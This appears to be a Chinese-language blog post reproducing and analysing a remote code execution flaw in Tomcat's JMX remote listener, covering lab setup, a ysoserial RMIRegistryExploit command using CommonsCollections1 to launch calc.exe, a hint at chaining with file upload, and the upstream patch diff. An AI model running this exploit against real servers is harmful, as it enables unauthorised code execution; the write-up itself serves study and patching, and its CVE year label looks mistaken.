Loading

Tomcat CVE-2017-8735 Rce 漏洞复现&分析

0x01 前言

0x02 环境搭建

Os:Windows10
Tomcat:apache-tomcat-8.5.2-windows-x64
jar:catalina-jmx-remote.jar(8.5.2)
jar:groovy-2.3.9.jar(非必须)
java:jdk1.8.20(注意版本号)

将catalina-jmx-remote.jar放到lib目录下,并修改conf/server.xml

<Listener className=”org.apache.catalina.mbeans.JmxRemoteLifecycleListener” rmiRegistryPortPlatform=”10001" rmiServerPortPlatform=”10002" rmiBindAddress=”<your-server-ip>” />

启动tomcat

catalina.bat run

0x03 漏洞复现

启动tomcat后,使用ysoserial进行测试

java -cp ysoserial-master-6eca5bc740-1.jar ysoserial.exploit.RMIRegistryExploit 10.100.19.108 7777 CommonsCollections1 "calc.exe"

直接弹出计算器

或者配合任意文件上传漏洞,先将一个jar包上传至对方服务器上,然后通过file协议或者http协议加载文件,最后通过urlclassloader进行报错回显。

image-20201029205509906

0x04 漏洞分析

从补丁分析上可以看出

image-20201027150604727

该补丁为直接添加该端口的校验方式。其补丁具体信息为

--- tomcat/trunk/webapps/docs/changelog.xml 2016/11/02 11:57:28 1767643
+++ tomcat/trunk/webapps/docs/changelog.xml 2016/11/02 11:57:36 1767644
@@ -97,6 +97,10 @@
 StoreConfig component includes the executor name when writing the
 Connector configuration. (markt)
 </fix>
+ <fix>
+ When configuring the JMX remote listener, specify the allowed types for
+ the credentials. (markt)
+ </fix>
 </changelog>
 </subsection>
--- tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java 2016/11/02 11:57:28 1767643
+++ tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java 2016/11/02 11:57:36 1767644
@@ -264,6 +264,10 @@
 serverCsf = new RmiClientLocalhostSocketFactory(serverCsf);
 }
 
+ env.put("jmx.remote.rmi.server.credential.types", new String[] {
+ String[].class.getName(),
+ String.class.getName() });
+
 // Populate the env properties used to create the server
 if (serverCsf != null) {
 env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, serverCsf);
@@ -328,7 +332,7 @@
 cs = new RMIConnectorServer(serviceUrl, theEnv, server,
 ManagementFactory.getPlatformMBeanServer());
 cs.start();
- registry.bind("jmxrmi", server);
+ registry.bind("jmxrmi", server.toStub());
 log.info(sm.getString("jmxRemoteLifecycleListener.start",
 Integer.toString(theRmiRegistryPort),
 Integer.toString(theRmiServerPort), serverName));

主要在于添加在env中添加认证

+ env.put("jmx.remote.rmi.server.credential.types", new String[] {
+ String[].class.getName(),
+ String.class.getName() });

目前主要的回显方式是通过urlclassloader抛出异常的方式进行回显

0x05 参考

http://phantom0301.cc/2018/11/30/java-rmi-windows/

https://zhuanlan.zhihu.com/p/47945755

posted @ 2021-02-06 10:09  0x28  阅读(199)  评论(0编辑  收藏  举报